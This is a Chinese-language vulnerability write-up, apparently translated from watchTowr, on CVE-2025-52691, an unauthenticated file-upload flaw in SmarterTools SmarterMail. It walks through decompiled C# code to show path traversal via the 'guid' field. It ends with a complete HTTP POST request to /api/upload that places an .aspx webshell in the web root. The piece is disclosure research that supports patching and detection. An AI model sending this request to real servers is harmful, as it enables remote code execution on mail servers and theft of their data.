欢迎来到2026年!当我们都在等待每年一月例行发生的SSL VPN在野利用编程时,我们已经从圣诞节假期归来,闲散的双手,闲散的思想,等等等等。
十二月,我们收到了关于SmarterTools SmarterMail解决方案中一个漏洞的警报,同时伴随着新加坡网络安全局(CSA)发布的公告——CVE-2025-52691,这是一个预身份验证RCE,在行业评分标准中获得了满分(10/10)。
这类漏洞总是令人兴奋,因为在绘制到watchTowr幻灭象限时,它们在两个轴上都表现良好——愤怒诱饵和技术兴趣。
SmarterTools将其描述为“一个安全的、一体化的Windows和Linux商务邮件与协作服务器——一个经济实惠的Microsoft Exchange替代品”。
但无论如何
在我们不可避免的序言中,有些事情让我们感到好奇。
CSA的公告和CVE条目都是在2025年12月底发布的。我们也了解到该漏洞在build 9413中得到了修复——但这怎么可能呢?这个版本是在2025年10月10日发布的,在撰写这篇博客文章时,最新的构建版本是9483。
虽然我们不是心灵感应者,但这很令人好奇——这是否意味着这个漏洞在披露前近3个月就被悄悄修复了,而这个解决方案的客户不得不等待大约2.5个月才获得官方信息,得知这个不那么关键的CVSS 10漏洞已被识别和修复——并且他们可能需要紧急更新?
一如既往,这确实令人受启发,因为有这样的话“它使我们的客户安全[免受我们先前不安全的软件影响],给他们时间打补丁,等等等等”。
虽然或许值得称赞,也许吧,也许不是——我们在2025年(以及之前许多年)都被强行灌输了这样的教训:攻击者实际上知道逆向工程,并且确实有能力识别悄悄修复的漏洞。
这再次让所有人疑惑——这真的发生了吗?是否可能有人在公告发布前就发现了这一点并且一直未被察觉?
至少build 9413的发布说明提到了一些友好的“常规安全修复”,不管这意味着什么。
抱怨够了——让我们快速过一遍这个漏洞。
虽然漏洞本身在回顾时看起来很“简单”,但它确实需要阅读,并且似乎已经存在于代码库中相当长一段时间了。向新加坡战略信息通信技术中心(CSIT)的蔡孟汉先生致敬。
CVE-2025-52691 - 技术细节
我们像往常一样开始这次探索,对比易受攻击和不易受攻击的版本。
根据公告,我们选择了以下SmarterMail版本:
- Build 9406 (易受攻击)
- Build 9413 (不易受攻击)
我们将跳过大量无关的代码更改,直接跳到我们看到“有趣”的地方。
在这里,您可以看到SmarterMail.Web.Api.FileUploadController.Upload方法的差异:
在上述差异中,我们可以看到修补后的build 9413添加了对与GUID相关参数的验证。
这让我们感到奇怪,并且与公告给我们的感觉一致——让我们验证这是否可能有趣。
FileUploadController是一个有效的API控制器,注册到/api/upload路由:
1
2
3
4
5
6
7
8
9
10
11
|
namespace SmarterMail.Web.Api
{
[Route("api/upload")]
[DisplayName("File Upload")]
[ApiDoNotDocument]
[ApiExceptionFilter]
public class FileUploadController : ApiControllerBase
{
//...
}
}
|
在修补版本中,这是一个有效的API端点,不需要(零,0)身份验证即可交互(注意AuthenticatedService属性的AllowAnonymous值):
1
2
3
4
5
6
7
8
9
10
|
[ShortDescription("")]
[Description("Upload a file chunk.")]
[AuthenticatedService(AllowAnonymous = true)]
[Route("")]
[HttpPost]
[Returns(typeof(string))]
public Task<ActionResult> Upload()
{
//...
}
|
这感觉是对的。
我们似乎有:
- 一个无需身份验证的文件上传端点,其中
- 打补丁后,添加了一定程度的GUID验证。
没有人需要成为预言家来预测这里出了什么问题,以及为什么这个GUID验证可能如此重要。
和往常一样,我们将逐步确认这一点。
那里有很多代码。为了简洁起见,我们显著缩短了代码片段,旨在只包含最重要的部分。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
[ShortDescription("")]
[Description("Upload a file chunk.")]
[AuthenticatedService(AllowAnonymous = true)]
[Route("")]
[HttpPost]
[Returns(typeof(string))]
public async Task<ActionResult> Upload()
{
ActionResult actionResult;
try
{
StringValues stringValues = base.Request.Form["context"]; // [1]
StringValues stringValues2 = base.Request.Form["contextData"]; // [2]
if (base.Request.Form.Files.Count == 0) // [3]
{
actionResult = this.StatusCode(415);
}
else
{
//...
if (stringValues2 != StringValues.Empty)
{
pupData.targetData = JsonConvert.DeserializeObject<PostUploadProcessingTargetData>(stringValues2.ToString()); // [4]
}
//...
switch (readPartResult2.status)
{
case ReadPartStatus.BAD:
actionResult = base.CreateStatusCode(HttpStatusCode.InternalServerError, readPartResult2.message);
break;
case ReadPartStatus.GOOD:
actionResult = this.Ok("");
break;
case ReadPartStatus.DONE:
{
ResumableConfiguration uploadConfiguration = this.GetUploadConfiguration();
FileStream file = FileX.OpenRead(readPartResult2.filePath);
object obj = null;
SmarterMail.Web.Logic.UploadResult retStatus;
try
{
retStatus = await UploadLogic.ProcessCompletedUpload(this.WebHostEnvironment, base.HttpContext, base.HttpAbsoluteRootPath, base.VirtualAppPath, currentUserTemp, pupData, new SmarterMail.Web.Logic.UploadedFile
{
fileName = uploadConfiguration.FileName,
stream = file
});
}); // [5]
//...
|
让我们逐步查看我们的注释:
- 在[1]和[2]处,代码将从HTTP请求中检索context和contextData。
- 在[3]处,我们获得了一个重要的信息——这表明我们上传的任何文件都应使用multipart/form-data内容类型。
- 在[4]处,我们可以看到代码将contextData反序列化为PostUploadProcessingTargetData类型的对象。
- 在[5]处,代码调用ProcessCompletedUpload方法,我们的反序列化对象将作为输入之一包含在内。
在我们开始分析ProcessCompletedUpload方法之前,让我们尝试理解我们应该在contextData参数中提供什么——以确保JSON反序列化成功。
以下代码片段展示了PostUploadProcessingTargetData类的简化代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
namespace SmarterMail.Web.Logic
{
[Serializable]
public class PostUploadProcessingTargetData
{
//...
[CanBeNull]
public string guid { get; set; }
[CanBeNull]
public string domain { get; set; }
//...
}
}
|
简而言之,这个类包含与上传相关的多个设置。由于它是使用JSON.NET反序列化的,我们需要在这里“提供”有效的JSON以控制这些设置。
仔细看,我们可以看到PostUploadProcessingTargetData类包含一个公共guid属性,它也有一个公共设置器。这实际上意味着我们可以通过反序列化控制这个值,这可能与我们的探索相关,因为这个漏洞的补丁在此上下文中实现了验证。
接下来,ProcessCompletedUpload方法执行一个重要任务。
该方法利用switch-case语句根据攻击者控制的context参数的值做出决定。
实际上,它允许您执行不同的上传操作,如:
- ICS文件上传
- 附件上传
- 笔记导入
- 基于云的上传
- 以及更多
根据我们对guid参数相关的怀疑,我们专注于利用此参数的上传操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
public static async Task<UploadResult> ProcessCompletedUpload(IWebHostEnvironment webHostEnvironment, HttpContext httpContext, string httpAbsoluteRootPath, string virtualAppPath, UserData currentUser, PostUploadProcessing pupData, UploadedFile file)
{
UploadResult uploadResult;
try
{
//...
string target = pupData.target;
if (target != null)
{
switch (target.Length)
{
case 8:
if (target == "task-ics")
{
return UploadLogic.TaskImportIcsFile(currentUser, file, pupData.targetData.source, pupData.targetData.fileId);
}
break;
case 10:
if (target == "attachment") // [1]
{
return await MailLogic.SaveAttachment(webHostEnvironment, httpAbsoluteRootPath, currentUser, file, pupData.targetData.guid, ""); // [2]
}
break;
case 11:
if (target == "note-import")
{
return NoteLogic.ImportNote(currentUser, file, pupData.targetData.source);
}
break;
//...
//...
}
}
}
|
宾果,您可以在上面的注释[1]和[2]处看到它。
如果攻击者提供context参数值为attachment,代码将调用MailLogic.SaveAttachment方法,并将攻击者的guid值作为参数之一。
最终,SmarterMail.Web.Logic.MailLogic.SaveAttachment方法会调用另一个同名方法,但由不同的类提供:SmarterMail.Web.Logic.HelperClasses.AttachmentsHelper.SaveAttachment。
这就是奇迹发生的地方!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
public static async Task<UploadResult> SaveAttachment(IWebHostEnvironment _webHostEnvironment, string httpAbsoluteRootPath, UserData currentUser, UploadedFile file, string guid, string contentId = "")
{
//...
try
{
if (file != null && file.stream.Length > 0L)
{
sanitizedName = AttachmentsHelper.SanitizeFilename(file.fileName); // [1]
string text = AttachmentsHelper.FindExtension(sanitizedName); // [2]
DirectoryInfoX directoryInfoX = new DirectoryInfoX(PathX.Combine(FileManager.BaseDirectory, "App_Data", "Attachments")); // [3]
if (!DirectoryX.Exists(directoryInfoX.ToString()))
{
DirectoryX.CreateDirectory(directoryInfoX.ToString());
}
//...
lock (attachments)
{
List<AttachmentInfo> list;
AttachmentsHelper.Attachments.TryGetValue(attachguid, out list);
if (list != null)
{
if (list.FirstOrDefault((AttachmentInfo x) => x.Size == attachmentInfo.Size && x.ContentType == attachmentInfo.ContentType && x.ActualFileName == attachmentInfo.ActualFileName) == null)
{
attachmentInfo.GeneratedFileName = AttachmentsHelper.GenerateFileName(attachguid, list.Count, text); // [4]
attachmentInfo.GeneratedFileNameAndLocation = AttachmentsHelper.GenerateFileNameAndLocation(directoryInfoX.ToString(), attachmentInfo.GeneratedFileName); // [5]
list.Add(attachmentInfo);
}
}
else
{
attachmentInfo.GeneratedFileName = AttachmentsHelper.GenerateFileName(attachguid, 0, text); // [6]
attachmentInfo.GeneratedFileNameAndLocation = AttachmentsHelper.GenerateFileNameAndLocation(directoryInfoX.ToString(), attachmentInfo.GeneratedFileName); // [7]
//...
}
}
if (attachmentInfo.GeneratedFileName != null && attachmentInfo.GeneratedFileName.Length > 0)
{
using (FileStream fileStream = new FileStream(attachmentInfo.GeneratedFileNameAndLocation, FileMode.Create, FileAccess.Write))
{
file.stream.CopyTo(fileStream); // [8]
}
//...
}
//...
}
//...
}
//...
}
|
在我们深入研究之前,让我们总结一下我们已经知道的情况。
我们有一个无需身份验证的文件上传端点,我们正在使用multipart/form-data HTTP请求触发它。
在此HTTP请求中,我们需要包含多个参数(如context和contextData)。
contextData参数允许我们控制和指定guid参数的值,该值以某种方式在附件上传操作中使用。
至关重要的是,我们的请求必须包含我们想要上传的文件。
为了简洁起见,我们将添加最后一件事——在此HTTP请求中,我们还需要指定resumableFilename参数。该值用于设置file对象的fileName值,您可以在[1]处看到。
如果您仔细查看上面的代码片段,可能会看到一些潜在的障碍:
- 在[1]处,我们可以看到代码尝试对攻击者控制的文件名进行清理。让我们假设这种保护机制是正常的,它不允许您包含任何路径遍历序列。
- 在[2]处,我们观察到一个名为FindExtension的关键方法,它在攻击者控制的文件名上调用。
1
2
3
4
5
6
7
8
9
|
private static string FindExtension(string fileName)
{
if (fileName == null || fileName.Length < 1 || !fileName.Contains("."))
{
return "";
}
string[] array = fileName.Split('.', StringSplitOptions.None);
return array[array.Length - 1];
}
|
然而,这个函数相当简单——它只是提取文件的扩展名,并不验证扩展名本身。可能没问题,因为您可能希望发送具有各种扩展名的附件。
- 在[3]处,我们可以看到代码中的操作生成上传操作的基本目录。
在我们的基于Windows的环境中,它等于:C:\Program Files (x86)\SmarterTools\SmarterMail\Service\App_Data\Attachments。
App_Data作为上传目标相当特殊,因为它通常受到IIS的适当限制,并且无法直接访问该目录中的文件。
长话短说,我们不能“简单地上传”一个webshell,如果这是我们正在遵循的正确路径,我们将需要以某种方式从此上传目录中逃逸。
幸运的是,我们还有更多——分别是第[4][5]行和第[6][7]行。
AttachmentsHelper.GenerateFileName生成一个文件名(我们感兴趣的guid作为参数之一包含在内),而GenerateFileNameAndLocation将生成的文件名包含在整个上传路径中!
让我们看一下:
1
2
3
4
5
6
7
8
|
private static string GenerateFileName(string attachguid, int count, string extension)
{
if (extension != null && extension.Length > 0)
{
return string.Format("att_{0}_{1}.{2}", AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count, extension);
}
return string.Format("att_{0}_{1}", AttachmentsHelper.<GenerateFileName>g__CleanGuid|20_0(attachguid), count);
}
|
惊喜,惊喜,我们应该改名为占卜师!
我们似乎正确预测了guid参数是我们的决定性因素,并且容易受到简单的路径遍历攻击。
好吧,等等——也许GenerateFileNameAndLocation方法中实现了一些保护措施?
1
2
3
4
5
|
private static string GenerateFileNameAndLocation(string directory, string generatedFileName)
{
string format = "{0}" + PathVariables.FORWARDSLASH_STRING + "{1}";
return string.Format(format, directory, generatedFileName);
}
|
没关系。没有。
在[8]处,我们可以看到我们上传的文件最终将被写入——包括路径遍历——我们通过任意文件写入在SmarterMail上实现了完整的无需身份验证的文件写入。
这是我们准备好的一个示例
为了将这一切联系起来,触发上述漏洞的最终HTTP请求如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
POST /api/upload HTTP/1.1
Host: watchtowr.com:1337
Content-Length: 698
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="context"
attachment
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableIdentifier"
watchTowrID
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="resumableFilename"
fakefile.aspx
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="contextData"
{"guid":"dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchTowr"}
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="whatever"; filename="whatever.jpg"
Your-WebShell-Here
------WebKitFormBoundary7MA4YWxkTrZu0gW--
|
用更多的话解释一下:
- 我们将context参数设置为attachment,允许我们到达易受攻击的代码路径。
- resumableFilename参数包含一个具有.aspx扩展名的文件名。
- contextData参数值包含一个guid键,我们利用它来滥用路径遍历。
- 文件上传部分包含一个webshell负载。
为了双重确认,我们可以调试GenerateFileNameAndLocation方法,并验证我们能够成功利用路径遍历:
您可能会注意到代码会在文件名后附加一个整数,尽管这不是大问题——因为最终的文件名包含在HTTP响应中:
1
|
{"key":"att_dag/../../../../../../../../../../../../../../../inetpub/wwwroot/watchtowr_0.aspx","fileName":"fakefile.aspx"}
|
最终,我们的webshell被上传,我们可以享受一个友好的、悄悄修复了3个月的RCE。
顺便说一句,似乎SmarterMail会使用ClamAV扫描所有附件,如下面的截图所示。
然而,要么ClamAV无法识别基本的webshell负载(可能),要么SmarterMail无法处理ClamAV结果。有趣。
检测工件生成器
按照惯例,我们提供我们的检测工件生成器,使组织能够确定其暴露情况并构建检测规则集。此生成器可在此处找到,并已针对以下情况进行验证:
- 基于Windows的安装,结合
- 较新的构建版本(94xx)或过时的构建版本(16)。
(不,我们没有测试SmarterMail历史上发布的每个版本)